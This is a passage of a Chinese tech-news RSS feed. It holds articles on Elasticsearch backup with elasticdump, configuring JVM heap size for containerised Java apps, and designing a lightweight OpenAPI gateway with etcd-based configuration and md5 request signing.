  --output=/tmp/my_index_mapping.json \
  --type=data
&lt;/code&gt;&lt;/pre&gt; &lt;h3&gt;template数据导出导入&lt;/h3&gt; &lt;pre&gt;  &lt;code&gt;//数据导出
elasticdump \
  --input=http://es.com:9200/template-filter \
  --output=templates.json \
  --type=template

// 数据出入
elasticdump \
  --input=./templates.json \
  --output=http://es.com:9200 \
  --type=template
&lt;/code&gt;&lt;/pre&gt; &lt;h2&gt;资源参考&lt;/h2&gt; &lt;ul&gt;  &lt;li&gt;[1]    &lt;a href="https://hub.docker.comrelasticdumpelasticsearch-dump"&gt;https://hub.docker.comrelasticdumpelasticsearch-dump&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>系统运维</category>
      <guid isPermaLink="true">https://itindex.net/detail/62158-elasticsearch-%E6%95%B0%E6%8D%AE-%E5%A4%87%E4%BB%BD</guid>
      <pubDate>Mon, 07 Mar 2022 21:48:00 CST</pubDate>
    </item>
    <item>
      <title>容器环境 JVM 内存动态配置</title>
      <link>https://itindex.net/detail/61890-%E5%AE%B9%E5%99%A8-%E7%8E%AF%E5%A2%83-jvm</link>
      <description>&lt;img alt="&amp;#23481;&amp;#22120;&amp;#29615;&amp;#22659; JVM &amp;#20869;&amp;#23384;&amp;#21160;&amp;#24577;&amp;#37197;&amp;#32622;" src="https://vqiu.cn/content/images/2021/11/----_20211113115748.jpg"&gt;&lt;/img&gt; &lt;p&gt;  在微服务架构中，  &lt;strong&gt;JAVA&lt;/strong&gt; 框架占用了绝大部分的市场，比如  &lt;code&gt;Spring Cloud&lt;/code&gt;、  &lt;code&gt;Dubbo&lt;/code&gt;等，其中在使用容器化部署的时候经常碰到关于JVM的内存分配的大小的配置，以下来讲述自己所用到过的配置方式。&lt;/p&gt;
 &lt;h2&gt;固定配置&lt;/h2&gt;
 &lt;p&gt;此方式，顾名思义，就是将JVM参数进行固定化，比如在将JAR打包成容器镜像时&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;FROM openjdk:8-jdk-alpine
LABEL maintainer=&amp;quot;Shuhui&amp;lt;shuhui@vqiu.cn&amp;gt;&amp;quot;

RUN set -xe \
    &amp;amp;&amp;amp; sed -i &amp;apos;s/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g&amp;apos; /etc/apk/repositories \
    &amp;amp;&amp;amp; apk update \
    &amp;amp;&amp;amp; apk add --no-cache ca-certificates ttf-dejavu fontconfig tzdata tini \
    &amp;amp;&amp;amp; cp -rf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime \
    &amp;amp;&amp;amp; echo &amp;quot;Asia/Shanghai&amp;quot; &amp;gt; /etc/timezone

COPY app.jar /
VOLUME [&amp;quot;/apps/logs&amp;quot;]

ENTRYPOINT [&amp;quot;/sbin/tini&amp;quot;, &amp;quot;--&amp;quot;, &amp;quot;java&amp;quot;, &amp;quot;-jar&amp;quot;, &amp;quot;-Xms1g&amp;quot;, &amp;quot;-Xmx2g&amp;quot;, &amp;quot;/scheduler.jar&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;可以看到，在容器运行时将JVM参数固定死了，也就是后续需要改动的话需要重新操作镜像。Em。。。 这种牵一发动全身的方式不可取。不推荐使用&lt;/p&gt;
 &lt;h2&gt;环境变量&lt;/h2&gt;
 &lt;p&gt;环境变量的方式可理解为固定配置的升级版本，就是将JVM参数包装成一个专用的环境变量，比如&amp;quot;  &lt;code&gt;JAVA_OPTS&lt;/code&gt;&amp;quot;:&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;FROM openjdk:8-jdk-alpine
LABEL maintainer=&amp;quot;Shuhui&amp;lt;shuhui@vqiu.cn&amp;gt;&amp;quot;

RUN set -xe \
    &amp;amp;&amp;amp; sed -i &amp;apos;s/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g&amp;apos; /etc/apk/repositories \
    &amp;amp;&amp;amp; apk update \
    &amp;amp;&amp;amp; apk add --no-cache ca-certificates ttf-dejavu fontconfig tzdata tini \
    &amp;amp;&amp;amp; cp -rf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime \
    &amp;amp;&amp;amp; echo &amp;quot;Asia/Shanghai&amp;quot; &amp;gt; /etc/timezone

ENV JAVA_OPTS &amp;quot;-server -Xms1024m -Xmx2048m&amp;quot;

COPY app.jar /
VOLUME [&amp;quot;/apps/logs&amp;quot;]

ENTRYPOINT exec /sbin/tini -- java ${JAVA_OPTS} -Djava.security.egd=file:/dev/./urandom -jar /app.jar
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;JVM参数直接引用一个叫  &lt;code&gt;JAVA_OPTS&lt;/code&gt;的环境变量，后续需要改动时直接改动这个参数即可，比如，使用  &lt;code&gt;configmap&lt;/code&gt;的方式：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;$ cat xx-config.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: xx-config
data:
  JAVA_OPTS: &amp;apos;-Xms1024m -Xmx2048m&amp;apos;
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;编排文件中引入&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;      containers:
      - image: #IMAGE_NAME#:#IMAGE_TAG#
        name: xx
        imagePullPolicy: IfNotPresent
        env:
        - name: JAVA_OPTS
          valueFrom:
            configMapKeyRef:
              name: xx-config
              key: JAVA_OPTS
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;当然，若你跟我一样，不喜欢套来套去--嫌弃使用  &lt;code&gt;configmap&lt;/code&gt;繁琐，直接传参亦可：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;        env:
        - name: JAVA_OPTS
          value: &amp;quot;-server -Xms2048m -Xmx4096m -Djava.security.egd=file:/dev/./urandom -Duser.timezone=GMT+08&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
 &lt;h2&gt;动态分配&lt;/h2&gt;
 &lt;p&gt;在  &lt;a href="https://www.oracle.com/technetwork/java/javase/8u191-relnotes-5032181.html"&gt;   &lt;strong&gt;jdk1.8.191&lt;/strong&gt;&lt;/a&gt;的版本新增了以下  &lt;strong&gt;JVM参数&lt;/strong&gt;，可以按容器所分配的内存资源大小去动态分配，我们无须去固定指定为个值的大小，这也是目前比较合理的一种方式，同时也是推荐的一种方式。。&lt;/p&gt;
 &lt;table&gt;

  &lt;tr&gt;
   &lt;th&gt;参数&lt;/th&gt;
   &lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;


  &lt;tr&gt;
   &lt;td&gt;    &lt;code&gt;-XX:InitialRAMPercentage=N&lt;/code&gt;&lt;/td&gt;
   &lt;td&gt;将初始堆大小设置为总内存的百分比&lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;    &lt;code&gt;-XX:MinRAMPercentage=N&lt;/code&gt;&lt;/td&gt;
   &lt;td&gt;将最小堆大小设置为总内存的百分比&lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;    &lt;code&gt;-XX:MaxRAMPercentage=N&lt;/code&gt;&lt;/td&gt;
   &lt;td&gt;将最大堆大小设置为总内存的百分比&lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
 &lt;blockquote&gt;
  &lt;p&gt;   &lt;strong&gt;提示:&lt;/strong&gt; 如果已经配置了    &lt;code&gt;-Xms&lt;/code&gt;, 那么    &lt;code&gt;-XX:InitialRAMPercentage&lt;/code&gt; 参数将忽略，如果已经配置了   &lt;code&gt;Xmx&lt;/code&gt; ，那么    &lt;code&gt;-XX:MaxRAMPercentage&lt;/code&gt; 参数将忽略.&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;如果应用程序在容器中运行，并且指定了  &lt;code&gt;-XX:+UseContainerSupport&lt;/code&gt;，则容器的默认堆大小(默认4分1的内存容量)。&lt;/p&gt;
 &lt;p&gt;示例: 通用的启动脚本中指定80%（  &lt;code&gt;-XX:MaxRAMPercentage=80.0 -XX:InitialRAMPercentage=80.0 -XX:MinRAMPercentage=80.0&lt;/code&gt;）。那么以pod为1G的内存为例，服务就相当于设置了  &lt;code&gt;-Xmx819m -Xms819m&lt;/code&gt;。&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;   &lt;code&gt;Dockerfile &lt;/code&gt;范例如下：&lt;/li&gt;
&lt;/ul&gt;
 &lt;pre&gt;  &lt;code&gt;FROM openjdk:8-jdk-alpine
LABEL maintainer=&amp;quot;Qiu Shuhui&amp;lt;shuhui@vqiu.cn&amp;gt;&amp;quot;

ARG user=shuhui
ARG group=shuhui
ARG uid=1000
ARG gid=1000
ARG APP_HOME=/app

ENV APP_HOME $APP_HOME
ENV JAVA_OPTS &amp;quot;-server -Djava.security.egd=file:/dev/./urandom&amp;quot;

RUN set -xe \
    &amp;amp;&amp;amp; sed -i &amp;apos;s/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g&amp;apos; /etc/apk/repositories \
    &amp;amp;&amp;amp; apk update upgrade \
    &amp;amp;&amp;amp; apk add --no-cache procps ca-certificates ttf-dejavu fontconfig curl tzdata tini bash \
    &amp;amp;&amp;amp; cp -rf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime \
    &amp;amp;&amp;amp; echo &amp;quot;Asia/Shanghai&amp;quot; &amp;gt; /etc/timezone \
    &amp;amp;&amp;amp; rm -rf /var/cache/apk/*

RUN set -xe \
    &amp;amp;&amp;amp; mkdir -p $APP_HOME \
    &amp;amp;&amp;amp; chown ${uid}:${gid} $APP_HOME \
    &amp;amp;&amp;amp; addgroup -g ${gid} ${group} \
    &amp;amp;&amp;amp; adduser -h &amp;quot;$APP_HOME&amp;quot; -u ${uid} -G ${group} -s /bin/bash -D ${user}

COPY --chown=$user xx.jar $APP_HOME/app.jar

USER $uid
WORKDIR $APP_HOME


ENTRYPOINT [&amp;quot;/sbin/tini&amp;quot;, &amp;quot;--&amp;quot;]
CMD [&amp;quot;java -XX:InitialRAMPercentage=80.0 -XX:MinRAMPercentage=80.0 -XX:MaxRAMPercentage=80.0 -jar /app.jar&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;此后，访问容器无需再设置  &lt;code&gt;Xmx&lt;/code&gt;为固定值，随着CGroup的资源去动态分配。&lt;/p&gt;
 &lt;h2&gt;参考引用&lt;/h2&gt;
 &lt;ul&gt;
  &lt;li&gt;[1]    &lt;a href="https://blog.softwaremill.com/docker-support-in-new-java-8-finally-fd595df0ca54"&gt;https://blog.softwaremill.com/docker-support-in-new-java-8-finally-fd595df0ca54&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;[2]    &lt;a href="https://www.ibm.com/docs/en/sdk-java-technology/8?topic=options-xx-usecontainersupport"&gt;https://www.ibm.com/docs/en/sdk-java-technology/8?topic=options-xx-usecontainersupport&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;[3]    &lt;a href="https://stackoverflow.com/questions/54292282/clarification-of-meaning-new-jvm-memory-parameters-initialrampercentage-and-minr/54297753#54297753"&gt;https://stackoverflow.com/questions/54292282/clarification-of-meaning-new-jvm-memory-parameters-initialrampercentage-and-minr/54297753#54297753&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>系统运维</category>
      <guid isPermaLink="true">https://itindex.net/detail/61890-%E5%AE%B9%E5%99%A8-%E7%8E%AF%E5%A2%83-jvm</guid>
      <pubDate>Sun, 26 Sep 2021 11:53:00 CST</pubDate>
    </item>
    <item>
      <title>自建一个简易的OpenAPI网关</title>
      <link>https://itindex.net/detail/61706-%E5%BB%BA%E4%B8%80-%E7%AE%80%E6%98%93-openapi</link>
      <description>&lt;p&gt;网关（API Gateway）是请求流量的唯一入口，可以适配各类渠道和业务，处理各种协议接入、路由与报文转换、同步异步调用等，来管理 API 接口和进行请求流量控制，在微服务架构中，网关尤为重要。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#39044;&amp;#35272;&amp;#22270;" src="https://img1.fanhaobai.com/2020/07/openapi/ffc6e25d-7044-467d-8b7c-910831249968.jpeg"&gt;&lt;/img&gt;  &lt;a&gt;&lt;/a&gt;&lt;/p&gt; &lt;h2&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#32972;&amp;#26223;" title="&amp;#32972;&amp;#26223;"&gt;&lt;/a&gt;背景&lt;/h2&gt; &lt;p&gt;当然，现在已有很多开源软件，如   &lt;a href="https://github.com/Kong/kong"&gt;Kong&lt;/a&gt;、  &lt;a href="https://gravitee.io/"&gt;Gravitee&lt;/a&gt;、  &lt;a href="https://github.com/Netflix/zuul"&gt;Zuul&lt;/a&gt;。&lt;/p&gt; &lt;p&gt;这些开源网关固然功能齐全，但对于我们业务来说，有点太重了，我们有部分定制化需求，为此我们自建了一个轻量级的 OpenAPI 网关，主要供第三方渠道对接使用。&lt;/p&gt; &lt;h2&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#31616;&amp;#20171;" title="&amp;#31616;&amp;#20171;"&gt;&lt;/a&gt;简介&lt;/h2&gt; &lt;h3&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#21151;&amp;#33021;&amp;#29305;&amp;#24615;" title="&amp;#21151;&amp;#33021;&amp;#29305;&amp;#24615;"&gt;&lt;/a&gt;功能特性&lt;/h3&gt; &lt;h4&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#25509;&amp;#21475;&amp;#37492;&amp;#26435;" title="&amp;#25509;&amp;#21475;&amp;#37492;&amp;#26435;"&gt;&lt;/a&gt;接口鉴权&lt;/h4&gt; &lt;ul&gt;  &lt;li&gt;请求 5s 自动过期&lt;/li&gt;  &lt;li&gt;参数 md5 签名&lt;/li&gt;  &lt;li&gt;模块粒度的权限控制&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#25509;&amp;#21475;&amp;#29256;&amp;#26412;&amp;#25511;&amp;#21046;" title="&amp;#25509;&amp;#21475;&amp;#29256;&amp;#26412;&amp;#25511;&amp;#21046;"&gt;&lt;/a&gt;接口版本控制&lt;/h4&gt; &lt;ul&gt;  &lt;li&gt;支持转发到不同服务&lt;/li&gt;  &lt;li&gt;支持转发到同一个服务不同接口&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#20107;&amp;#20214;&amp;#22238;&amp;#35843;" title="&amp;#20107;&amp;#20214;&amp;#22238;&amp;#35843;"&gt;&lt;/a&gt;事件回调&lt;/h4&gt; &lt;ul&gt;  &lt;li&gt;事件订阅&lt;/li&gt;  &lt;li&gt;最大重试 3 次&lt;/li&gt;  &lt;li&gt;重试时间采用衰减策略（30s、60s、180s）&lt;/li&gt;&lt;/ul&gt; &lt;h3&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#31995;&amp;#32479;&amp;#26550;&amp;#26500;" title="&amp;#31995;&amp;#32479;&amp;#26550;&amp;#26500;"&gt;&lt;/a&gt;系统架构&lt;/h3&gt; &lt;p&gt;从第三方请求 API 链路来说，第三方渠道通过 HTTP 协议请求 OpenAPI 网关，网关再将请求转发到对应的内部服务端口，这些端口层通过 gRPC 调用请求到服务层，处理完请求后依次返回。&lt;/p&gt; &lt;p&gt;从事件回调请求链路来说，服务层通过 HTTP 协议发起事件回调请求到 OpenAPI 网关，并立即返回成功。OpenAPI 网关异步完成第三方渠道事件回调请求。 &lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#31995;&amp;#32479;&amp;#26550;&amp;#26500;" src="https://img2.fanhaobai.com/2020/07/openapi/f227c462-b9b9-4846-aeae-23c579b05087.jpeg"&gt;&lt;/img&gt;&lt;/p&gt; &lt;h2&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#23454;&amp;#29616;" title="&amp;#23454;&amp;#29616;"&gt;&lt;/a&gt;实现&lt;/h2&gt; &lt;h3&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#32593;&amp;#20851;&amp;#37197;&amp;#32622;" title="&amp;#32593;&amp;#20851;&amp;#37197;&amp;#32622;"&gt;&lt;/a&gt;网关配置&lt;/h3&gt; &lt;p&gt;由于网关存在内部服务和第三方渠道配置，更为了实现配置的热更新，我们采用了 ETCD 存储配置，存储格式为 JSON。&lt;/p&gt; &lt;h4&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#37197;&amp;#32622;&amp;#20998;&amp;#31867;" title="&amp;#37197;&amp;#32622;&amp;#20998;&amp;#31867;"&gt;&lt;/a&gt;配置分类&lt;/h4&gt; &lt;p&gt;配置分为以下 3 类：&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;第三方 AppId 配置&lt;/li&gt;  &lt;li&gt;内外 API 映射关系&lt;/li&gt;  &lt;li&gt;内部服务地址&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#37197;&amp;#32622;&amp;#32467;&amp;#26500;" title="&amp;#37197;&amp;#32622;&amp;#32467;&amp;#26500;"&gt;&lt;/a&gt;配置结构&lt;/h4&gt; &lt;p&gt;a、第三方 AppId 配置&lt;/p&gt; &lt;p&gt;  &lt;img alt="AppId&amp;#37197;&amp;#32622;" src="https://img3.fanhaobai.com/2020/07/openapi/9655aec3-aa6c-4353-819e-a095a0fdd5bf.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;b、内部服务地址&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#20869;&amp;#37096;&amp;#26381;&amp;#21153;&amp;#22320;&amp;#22336;" src="https://img4.fanhaobai.com/2020/07/openapi/48e89e9b-eede-4aec-b98f-ce50cc112c99.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;c、内外 API 映射关系&lt;/p&gt; &lt;p&gt;  &lt;img alt="API&amp;#26144;&amp;#23556;&amp;#20851;&amp;#31995;" src="https://img5.fanhaobai.com/2020/07/openapi/676dcc84-628d-493c-8ab6-c9f2ec3053df.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;h4&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#37197;&amp;#32622;&amp;#26356;&amp;#26032;" title="&amp;#37197;&amp;#32622;&amp;#26356;&amp;#26032;"&gt;&lt;/a&gt;配置更新&lt;/h4&gt; &lt;p&gt;利用 ETCD 的 watch 监听，可以轻易实现配置的热更新。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#37197;&amp;#32622;&amp;#28909;&amp;#26356;&amp;#26032;" src="https://img0.fanhaobai.com/2020/07/openapi/549e72de-cdbd-4b8d-a238-085f226d7555.jpg"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;当然也还是需要主动拉取配置的情况，如重启服务的时候。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#25289;&amp;#21462;&amp;#28909;&amp;#26356;&amp;#26032;" src="https://img1.fanhaobai.com/2020/07/openapi/ae062ec1-7f3c-4535-916b-c9cd08734a7d.jpg"&gt;&lt;/img&gt;&lt;/p&gt; &lt;h3&gt;  &lt;a href="https://www.fanhaobai.com/#API-&amp;#25509;&amp;#21475;" title="API &amp;#25509;&amp;#21475;"&gt;&lt;/a&gt;API 接口&lt;/h3&gt; &lt;p&gt;第三方调用 API 接口的时序，大致如下：&lt;/p&gt; &lt;p&gt;  &lt;img alt="API&amp;#35843;&amp;#29992;&amp;#26102;&amp;#24207;" src="https://img2.fanhaobai.com/2020/07/openapi/a4768e8e-f961-4270-ba9d-69d2a317d49b.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;h4&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#21442;&amp;#25968;&amp;#26684;&amp;#24335;" title="&amp;#21442;&amp;#25968;&amp;#26684;&amp;#24335;"&gt;&lt;/a&gt;参数格式&lt;/h4&gt; &lt;p&gt;为了简化对接流程，我们统一了 API 接口的请求参数格式。请求方式支持 POST 或者 GET。&lt;/p&gt; &lt;p&gt;  &lt;img alt="API&amp;#35843;&amp;#29992;&amp;#26102;&amp;#24207;" src="https://img3.fanhaobai.com/2020/07/openapi/d0131310-b7f8-4deb-aa9e-fcc6b28a47a2.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;h4&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#25509;&amp;#21475;&amp;#31614;&amp;#21517;" title="&amp;#25509;&amp;#21475;&amp;#31614;&amp;#21517;"&gt;&lt;/a&gt;接口签名&lt;/h4&gt; &lt;p&gt;签名采用 md5 加密方式，算法可描述为：&lt;/p&gt; &lt;p&gt;1、将参数 p、m、a、t、v、ak、secret 的值按顺序拼接，得到字符串；  &lt;br /&gt;2、md5 第 1 步的字符串并截取前 16 位， 得到新字符串；  &lt;br /&gt;3、将第 2 步的字符串转化为小写，即为签名；&lt;/p&gt; &lt;p&gt;PHP 版的请求，如下：&lt;/p&gt; &lt;table&gt;  &lt;tr&gt;   &lt;td&gt;    &lt;pre&gt;$appId = &amp;apos;app id&amp;apos;;     &lt;br /&gt;$appSecret = &amp;apos;app secret&amp;apos;;     &lt;br /&gt;$api = &amp;apos;api method&amp;apos;;     &lt;br /&gt;     &lt;br /&gt;// 业务参数     &lt;br /&gt;$businessParams = [     &lt;br /&gt;  &amp;apos;orderId&amp;apos; =&amp;gt; &amp;apos;123123132&amp;apos;,     &lt;br /&gt;];     &lt;br /&gt;     &lt;br /&gt;$time = time();     &lt;br /&gt;$params = [     &lt;br /&gt;  &amp;apos;p&amp;apos;  =&amp;gt; json_encode($businessParams),     &lt;br /&gt;  &amp;apos;m&amp;apos;  =&amp;gt; &amp;apos;inquiry&amp;apos;,     &lt;br /&gt;  &amp;apos;a&amp;apos;  =&amp;gt; $api,     &lt;br /&gt;  &amp;apos;t&amp;apos;  =&amp;gt; $time,     &lt;br /&gt;  &amp;apos;v&amp;apos;  =&amp;gt; 1,     &lt;br /&gt;  &amp;apos;ak&amp;apos; =&amp;gt; $appId,     &lt;br /&gt;];     &lt;br /&gt;     &lt;br /&gt;$signStr = implode(&amp;apos;&amp;apos;, array_values($params)) . $appSecret;     &lt;br /&gt;$sign = strtolower(substr(md5($signStr), 0, 16));     &lt;br /&gt;     &lt;br /&gt;$params[&amp;apos;s&amp;apos;] = $sign;     &lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt; &lt;h4&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#25509;&amp;#21475;&amp;#29256;&amp;#26412;&amp;#25511;&amp;#21046;-1" title="&amp;#25509;&amp;#21475;&amp;#29256;&amp;#26412;&amp;#25511;&amp;#21046;"&gt;&lt;/a&gt;接口版本控制&lt;/h4&gt; &lt;p&gt;不同的接口版本，可以转发请求到不同的服务，或同一个服务的不同接口。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#25509;&amp;#21475;&amp;#29256;&amp;#26412;&amp;#25511;&amp;#21046;" src="https://img4.fanhaobai.com/2020/07/openapi/c6987388-682d-403f-8621-caa1fa6cd266.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;h3&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#20107;&amp;#20214;&amp;#22238;&amp;#35843;-1" title="&amp;#20107;&amp;#20214;&amp;#22238;&amp;#35843;"&gt;&lt;/a&gt;事件回调&lt;/h3&gt; &lt;p&gt;通过事件回调机制，第三方可以订阅自己关注的事件。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#25509;&amp;#21475;&amp;#29256;&amp;#26412;&amp;#25511;&amp;#21046;" src="https://img5.fanhaobai.com/2020/07/openapi/4b6660db-0e0c-4c6d-9716-0e63820f45e1.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;h2&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#23545;&amp;#25509;&amp;#25509;&amp;#20837;" title="&amp;#23545;&amp;#25509;&amp;#25509;&amp;#20837;"&gt;&lt;/a&gt;对接接入&lt;/h2&gt; &lt;h3&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#28192;&amp;#36947;&amp;#25509;&amp;#20837;" title="&amp;#28192;&amp;#36947;&amp;#25509;&amp;#20837;"&gt;&lt;/a&gt;渠道接入&lt;/h3&gt; &lt;p&gt;只需要配置第三方 AppId 信息，包括 secret、回调地址、模块权限。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#28192;&amp;#36947;AppId&amp;#37197;&amp;#32622;" src="https://img0.fanhaobai.com/2020/07/openapi/3321e082-1857-4c2b-8d19-a60334f9b4f5.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;即，需要在 ETCD 执行如下操作：&lt;/p&gt; &lt;table&gt;  &lt;tr&gt;   &lt;td&gt;    &lt;pre&gt;$ etcdctl set /openapi/app/baidu &amp;apos;{     &lt;br /&gt;    &amp;quot;Id&amp;quot;: &amp;quot;baidu&amp;quot;,     &lt;br /&gt;    &amp;quot;Secret&amp;quot;: &amp;quot;00cf2dcbf8fb6e73bc8de50a8c64880f&amp;quot;,     &lt;br /&gt;    &amp;quot;Modules&amp;quot;: {     &lt;br /&gt;        &amp;quot;inquiry&amp;quot;: {     &lt;br /&gt;            &amp;quot;module&amp;quot;: &amp;quot;inquiry&amp;quot;,     &lt;br /&gt;            &amp;quot;CallBack&amp;quot;: &amp;quot;http://www.baidu.com&amp;quot;     &lt;br /&gt;        }     &lt;br /&gt;    }     &lt;br /&gt;}&amp;apos;     &lt;br /&gt;     &lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt; &lt;h3&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#26381;&amp;#21153;&amp;#25509;&amp;#20837;" title="&amp;#26381;&amp;#21153;&amp;#25509;&amp;#20837;"&gt;&lt;/a&gt;服务接入&lt;/h3&gt; &lt;p&gt;a、配置内部服务地址&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#37197;&amp;#32622;&amp;#20869;&amp;#37096;&amp;#26381;&amp;#21153;&amp;#22320;&amp;#22336;" src="https://img1.fanhaobai.com/2020/07/openapi/1a902abb-fb35-42e1-9f3a-c18e12074f11.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;即，需要在 ETCD 执行如下操作：&lt;/p&gt; &lt;table&gt;  &lt;tr&gt;   &lt;td&gt;    &lt;pre&gt;$ etcdctl set /openapi/backend/form_openapi &amp;apos;{     &lt;br /&gt;    &amp;quot;type&amp;quot;: &amp;quot;form&amp;quot;,     &lt;br /&gt;    &amp;quot;Url&amp;quot;: &amp;quot;http://med-ih-openapi.app.svc.cluster.local&amp;quot;     &lt;br /&gt;}&amp;apos;     &lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt; &lt;p&gt;b、配置内外 API 映射关系&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#37197;&amp;#32622;&amp;#20869;&amp;#37096;&amp;#26381;&amp;#21153;&amp;#22320;&amp;#22336;" src="https://img2.fanhaobai.com/2020/07/openapi/39befe95-381e-47ad-879d-e5433e778078.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;同样，需要在 ETCD 执行如下操作：&lt;/p&gt; &lt;table&gt;  &lt;tr&gt;   &lt;td&gt;    &lt;pre&gt;$ etcdctl set /openapi/api/inquiry/createMedicine.v2 &amp;apos;{     &lt;br /&gt;    &amp;quot;Module&amp;quot;: &amp;quot;inquiry&amp;quot;,     &lt;br /&gt;    &amp;quot;Method&amp;quot;: &amp;quot;createMedicine&amp;quot;,     &lt;br /&gt;    &amp;quot;Backend&amp;quot;: &amp;quot;form_openapi&amp;quot;,     &lt;br /&gt;    &amp;quot;ApiParams&amp;quot;: {     &lt;br /&gt;        &amp;quot;path&amp;quot;: &amp;quot;inquiry/medicine-clinic/create&amp;quot;     &lt;br /&gt;    }     &lt;br /&gt;}&amp;apos;     &lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt; &lt;p&gt;c、接入事件回调&lt;/p&gt; &lt;p&gt;接入服务也需要按照第三方接入方式，并申请 AppId。回调业务参数约定为：&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#37197;&amp;#32622;&amp;#20869;&amp;#37096;&amp;#26381;&amp;#21153;&amp;#22320;&amp;#22336;" src="https://img3.fanhaobai.com/2020/07/openapi/ba4a385e-add6-40fe-aa30-40866f8e4f40.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;Golang 版本的接入，如下：&lt;/p&gt; &lt;table&gt;  &lt;tr&gt;   &lt;td&gt;    &lt;pre&gt;const (     &lt;br /&gt;AppId = &amp;quot;__inquiry&amp;quot;     &lt;br /&gt;AppSecret = &amp;quot;xxxxxxxxxx&amp;quot;     &lt;br /&gt;Version = &amp;quot;1&amp;quot;     &lt;br /&gt;)     &lt;br /&gt;     &lt;br /&gt;type CallbackReq struct {     &lt;br /&gt;TargetAppId string                 //目标APP Id     &lt;br /&gt;Module      string                 //目标模块     &lt;br /&gt;Event       string                 //事件     &lt;br /&gt;Params      map[string]interface{} //参数     &lt;br /&gt;}     &lt;br /&gt;     &lt;br /&gt;func generateData(req CallbackReq) map[string]string {     &lt;br /&gt;    params, _ := json.Marshal(req.Params)     &lt;br /&gt;p := map[string]interface{}{     &lt;br /&gt;&amp;quot;ak&amp;quot;: req.TargetAppId,     &lt;br 